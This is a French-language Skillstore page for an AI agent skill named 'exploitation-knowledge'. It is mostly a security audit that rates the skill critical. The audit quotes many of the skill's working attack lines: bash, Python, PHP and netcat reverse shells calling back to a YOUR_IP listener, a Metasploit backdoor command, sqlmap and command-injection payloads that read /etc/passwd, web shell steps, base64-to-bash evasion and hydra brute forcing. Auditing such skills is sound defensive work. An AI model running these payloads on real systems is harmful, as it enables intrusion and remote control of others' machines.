Compétences exploitation-knowledge
📦
exploitation-knowledge
Révision du contenu r1 Critique ⚙️ Commandes externes🌐 Accès réseau📁 Accès au système de fichiers
Évaluer les techniques d’exploitation et l’accès au shell
Les équipes de sécurité ont besoin d’une méthode structurée pour examiner les workflows d’exploitation et comprendre les risques opérationnels. Cette compétence organise les méthodes d’exploitation, les choix de payloads et les vérifications après accès pour un examen contrôlé en laboratoire ou en audit.
Prend en charge: Claude Codex Code(CC)
N’installez pas automatiquement ce Skill.
La politique de référence exige un examen par un opérateur avant toute action d’installation.
Installer avec mon Agent
Copiez cette demande dans votre Agent. Elle contient la page Skill de référence et le manifeste.
Demande d’agent
Review the Skillstore skill "exploitation-knowledge" from https://skillstore.io/skills/charleskozel-exploitation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-exploitation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Votre Agent doit toujours présenter son plan et demander toute confirmation exigée par la politique de sécurité.
Ressources lisibles par les agents
Utilisez ces liens lorsqu’un Agent IA, un crawler ou un script a besoin d’un contexte propre au lieu de lire toute la page.
Tester
Utilisation de « exploitation-knowledge ». Résume la compétence pour un coordinateur de formation.
Résultat attendu:
La compétence explique la découverte d’exploits, la sélection de payloads, la gestion du shell et la vérification après accès. Elle doit être limitée à des laboratoires supervisés, car elle inclut des procédures d’attaque exploitables.
Utilisation de « exploitation-knowledge ». Trouve les zones de contenu présentant le risque le plus élevé.
Résultat attendu:
- Les payloads de reverse shell et la configuration de listeners créent un risque direct d’accès au shell.
- Les étapes Metasploit et de téléchargement d’exploits permettent des workflows de compromission pratiques.
- Les lectures de fichiers système et les étapes de capture de flags encouragent la collecte de données après compromission.
Utilisation de « exploitation-knowledge ». Réécris le sujet pour les défenseurs.
Résultat attendu:
Présente le workflow comme de l’ingénierie de détection. Concentre-toi sur les indicateurs de web shell, les connexions sortantes inhabituelles, la télémétrie de command injection et les contrôles contre l’utilisation abusive d’identifiants.
Audit de sécurité
Critiquev9 • 09/07/2026 Ouvrir le rapport versionné
AI adjudication confirms that the skill is an operational exploitation playbook with reverse shells, Metasploit usage, command injection, credential testing, system file reads, and flag capture. Several markdown-only detections were marked false positive, but the confirmed static findings and semantic findings show high misuse potential. No prompt injection attempt was found in SKILL.md.
1
Fichiers analysés
525
Lignes analysées
97
Éléments à examiner
0
Faux positifs ignorés
Préoccupations de sécurité confirmées (23)
Critique
Metasploit framework
- `msfconsole` - Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Metasploit framework
# Layer 2: Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Metasploit framework
#### B. Metasploit Exploits
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Metasploit framework
# Type 4: Tool-specific failure (e.g., Metasploit fails)
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Metasploit framework
- Bug in Metasploit module
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Metasploit framework
"tool": "metasploit",
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Critique
Malware type keywords
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The Metasploit command selects a webmin_backdoor exploit module and configures a target and listener. This is direct backdoor exploitation guidance.
Critique
System password file access
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Afficher les 23 problèmes confirmés
Critique
System password file access
# Try: cat /etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Critique
System password file access
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Critique
Base64 decode to shell
- Base64: echo BASE64 | base64 -d | bash
The line recommends decoding Base64 and piping it to bash as a filter bypass. That is payload evasion for command execution.
Critique
End-to-End Initial Access Workflow
The skill states that it converts vulnerabilities into access, establishes shells, and captures user flags. This is an operational compromise workflow, not only conceptual security education.
The purpose and success criteria explicitly include command execution, shell access, and user flag capture. Those goals confirm offensive intent beyond individual command patterns.
Critique
Payload Evasion and Filter Bypass Guidance
The skill instructs users to adapt payloads when special characters, keywords, WAFs, or IDS controls block commands. This supports evasion of protective controls during exploitation.
The lines explicitly discuss encoding, command alternatives, WAF or IDS blocking, and slower approaches after timeouts. This is high-confidence evasion intent.
Critique
Post-Compromise Data Capture Workflow
The skill directs users to locate, read, verify, and store user flag data after command execution. The output format also records user access and captured flag values.
The workflow repeatedly references finding user.txt, reading it, storing it, and reporting it as successful exploitation. This is explicit post-compromise data collection.
Élevé
Network reconnaissance
- cat → head, tail, nl, more, less
The line provides alternatives such as /dev/tcp, telnet, or socat to keep network shell capability when commands are filtered. The category is broad, but the exploitation support is real.
Élevé
Credential Abuse Guidance
The skill recommends hydra and default credential testing for SSH, FTP, MySQL, and web administration panels. This guidance can enable unauthorized credential attacks outside an approved lab.
The cited lines name brute-force tooling and give service-specific default credential attempts. The context is initial access, which makes the misuse risk clear.
Moyen
System reconnaissance
id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
whoami
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
curl http://TARGET/uploads/shell.php?cmd=id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Moyen
System reconnaissance
3. **Verify success** - always test access with `id`, `whoami`
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Éléments d’évaluation des capacités (97)
Il s’agit de capacités locales réelles qui peuvent être attendues pour cette compétence ; elles nécessitent donc un examen, mais ne sont pas comptabilisées comme comportement malveillant confirmé.
Critique
Python subprocess.call
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The Python snippet creates a socket to an attacker-controlled host and invokes /bin/bash with subprocess.call. This is a direct reverse shell payload.
Critique
Python PTY spawn (shell access)
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line explicitly spawns /bin/bash using Python pty after shell access. This improves interactive shell control during post-exploitation.
Critique
Ruby/shell backtick execution
- `msfconsole` - Metasploit framework
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Critique
Ruby/shell backtick execution
- `sqlmap` - SQL injection
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
Critique
Ruby/shell backtick execution
```python
The snippet adapts exploit code to embed a bash reverse shell payload. That is actionable payload construction.
Critique
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Critique
Ruby/shell backtick execution
```bash
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Critique
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Critique
Ruby/shell backtick execution
```bash
The block provides ready reverse shell payloads for bash, Python, PHP, and netcat. These are direct shell access techniques.
Critique
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Critique
Ruby/shell backtick execution
```bash
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
Critique
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Critique
Ruby/shell backtick execution
```bash
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Critique
Ruby/shell backtick execution
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Critique
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Critique
Ruby/shell backtick execution
```bash
The commands execute target-side actions through a web shell, including file reads and identity checks. This is remote command execution guidance.
Critique
Ruby/shell backtick execution
```
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
Critique
Ruby/shell backtick execution
```bash
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
Critique
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Critique
Ruby/PHP system() call
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>
The PHP snippet calls system() with a bash reverse shell payload. This is directly usable web-shell code for remote command execution.
Critique
Unix shell invocation
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The line defines a bash /dev/tcp reverse shell as an exploit payload. It is designed to obtain shell access from a target.
Critique
Unix shell invocation
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The line invokes /bin/bash from Python after opening a network socket. This is a direct reverse shell implementation.
Critique
Unix shell invocation
nc YOUR_IP 4444 -e /bin/bash
The netcat command launches /bin/bash with -e for reverse shell access. This is direct remote shell behavior.
Critique
Unix shell invocation
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The named-pipe netcat command connects /bin/bash to a remote listener. This is a known reverse shell technique.
Critique
Unix shell invocation
python3 -c 'import pty;pty.spawn("/bin/bash")'
The Python pty command upgrades a shell to an interactive bash session. It is explicit post-exploitation shell stabilization.
Critique
Unix shell invocation
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The named-pipe command bridges netcat to /bin/bash in the background. It provides persistent interactive shell handling.
Critique
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Critique
Hardcoded URL
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Critique
Hardcoded IP address
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The IP appears inside a Metasploit module command that configures a target and listener. The command is actionable exploit execution.
Critique
Temp directory access
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Critique
Temp directory access
mkfifo /tmp/pipe
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Critique
Temp directory access
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Élevé
Process spawn
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line spawns /bin/bash through Python pty as part of shell stabilization. That is actionable post-exploitation shell control.
Élevé
Ruby/shell backtick execution
- `rlwrap nc` - Stabilize shells
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Élevé
Ruby/shell backtick execution
- `curl` - Manual web testing
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
Élevé
Ruby/shell backtick execution
- `hydra` - Service brute force (limited use)
The line lists hydra for credential brute forcing. Automated credential attacks are a real misuse risk.
Élevé
Ruby/shell backtick execution
- `ssh`/`ftp`/`mysql` - Test discovered credentials
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Élevé
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Élevé
Ruby/shell backtick execution
```bash
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Élevé
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Élevé
Ruby/shell backtick execution
```bash
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
Élevé
Ruby/shell backtick execution
```
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
Élevé
Ruby/shell backtick execution
```bash
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
Élevé
Ruby/shell backtick execution
```
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Élevé
Ruby/shell backtick execution
```bash
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Élevé
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Élevé
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Élevé
Ruby/shell backtick execution
```bash
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Élevé
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Élevé
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Élevé
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Élevé
Ruby/shell backtick execution
```bash
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Élevé
Shell command substitution
USER_FLAG=$(cat /home/username/user.txt)
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
Élevé
Template literal with command substitution
```bash
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
Élevé
Hardcoded URL
curl -F "file=@shell.php" http://TARGET/upload.php
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
gobuster dir -u http://TARGET/uploads -x php,phtml
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl http://TARGET/uploads/shell.php?cmd=id
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --os-shell
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
wget https://raw.githubusercontent.com/user/repo/exploit.py
The command downloads an exploit proof of concept from a raw GitHub URL. Pulling unreviewed exploit code is a real supply-chain and misuse risk.
Élevé
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which nc"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which python3"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded URL
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Élevé
Standard device file access
find / -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Élevé
Standard device file access
find /home -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Élevé
Standard device file access
find /home -name "*.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Élevé
Non-standard device file access
ls -la /tmp /dev/shm /var/tmp
The line checks writable directories such as /tmp and /dev/shm after target RCE. Those locations are commonly used for payload staging.
Moyen
Ruby/shell backtick execution
- `searchsploit` - Local exploit-db search
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Moyen
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Moyen
Ruby/shell backtick execution
```bash
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Moyen
Ruby/shell backtick execution
```
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Moyen
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Moyen
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Moyen
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Moyen
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Moyen
Ruby/shell backtick execution
- Check listener is running: `netstat -tlnp | grep 4444`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
Moyen
Ruby/shell backtick execution
- Install: `pip3 install requests pycrypto`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
Moyen
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Moyen
Ruby/shell backtick execution
3. **Verify success** - always test access with `id`, `whoami`
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Faible
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
Faible
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
Facteurs de risque
⚙️ Commandes externes (50)
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📁 Accès au système de fichiers (7)
Motifs détectés
Metasploit framework×6Malware type keywordsSystem password file access×3Base64 decode to shellSystem reconnaissance×7Network reconnaissance
Audité par: codex Voir l’historique des audits →
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Citation APA
CharlesKozel. (2026). exploitation-knowledge security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9Citation BibTeX
@techreport{charleskozel-charleskozel-exploitation-knowledge-2026,
author = {CharlesKozel},
title = {exploitation-knowledge security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "exploitation-knowledge security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9"
identifiers:
- type: other
value: "skillstore:charleskozel-exploitation-knowledge:audit:9"
description: "Skillstore immutable audit report identifier"
Score Skillstore
Pourquoi ce score Niveau de confiance des preuves: Moyen 55
Architecture
85
Maintenabilité
85
Contenu
72
Communauté
78
Conformité aux spécifications
Ce que vous pouvez créer
Examiner les étapes d’exploitation en laboratoire
Cartographier un exercice de formation contrôlé depuis la découverte de vulnérabilités jusqu’à l’accès initial et la vérification après accès.
Auditer des playbooks offensifs
Identifier le contenu d’exploitation dangereux qui devrait être supprimé, réécrit ou restreint avant publication.
Préparer des détections défensives
Traduire les comportements d’exploitation listés en idées de détection pour les reverse shells, les web shells et command injection.
Essayez ces prompts
Résumer les objectifs d’apprentissage sûrs
Résume cette compétence pour un laboratoire de formation à la sécurité contrôlé. Concentre-toi sur les objectifs d’apprentissage, les limites de sécurité et les points d’examen défensifs.
Identifier les sections à risque
Examine cette compétence et liste les sections qui contiennent des éléments exploitables d’exploitation, d’accès au shell, d’abus d’identifiants ou de capture de données.
Convertir en conseils défensifs
Convertis le workflow d’exploitation en conseils de surveillance défensive. Mets l’accent sur les indicateurs, les journaux, les contrôles et les limites des tests autorisés.
Construire un plan de remédiation pour publication
Crée un plan de remédiation qui supprime les étapes d’attaque exécutables, préserve l’éducation de haut niveau et ajoute un cadrage sur le périmètre, l’autorisation et la détection.
Bonnes pratiques
- Utiliser ce contenu uniquement pour des laboratoires autorisés, des audits contrôlés ou l’examen de contenu défensif.
- Convertir les procédures offensives en logique de détection et en conseils de mitigation avant tout partage large.
- Supprimer les payloads exécutables et les étapes d’interaction avec la cible avant de publier du matériel éducatif.
Éviter
- Utiliser la compétence pour accéder à des systèmes sans autorisation écrite explicite.
- Publier des payloads de reverse shell, des étapes d’exécution d’exploits ou des commandes de lecture de fichiers sans restrictions.
- Traiter la capture de flags, les tests d’identifiants ou la stabilisation du shell comme une automatisation généraliste acceptable.
Foire aux questions
Cette compétence est-elle sûre pour une installation automatique ?
Non. Elle contient des conseils d’exploitation exploitables et devrait nécessiter un examen strict avant toute utilisation.
Quelle est la principale préoccupation de sécurité ?
La compétence fournit des étapes pratiques pour la découverte d’exploits, l’accès au shell, command injection et la capture de données après accès.
Peut-elle être utilisée pour un travail défensif ?
Oui, si le contenu est recadré pour la détection, la mitigation et l’analyse en laboratoire autorisé.
La compétence applique-t-elle des vérifications d’autorisation ?
Non. Elle n’inclut pas de validation du périmètre, de vérifications de consentement ni de contrôles techniques empêchant les abus.
Que faut-il supprimer avant publication ?
Les commandes d’exploit exécutables, les payloads de reverse shell, les étapes de lecture de fichiers, les workflows de capture de flags et les instructions d’évasion doivent être supprimés.
Qui devrait examiner cette compétence ?
Un évaluateur sécurité ayant des connaissances en sécurité offensive devrait l’examiner avant sa distribution sur Marketplace.
Détails du développeur
Auteur
CharlesKozelLicence
MIT
Révision Skillstore
r1
Avis de version
L’auteur n’a déclaré aucune version.
Réf
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Récence de maintenance
22/07/2026
Utilisation
6 téléchargements · 307 vues
Structure de fichiers
📄 SKILL.md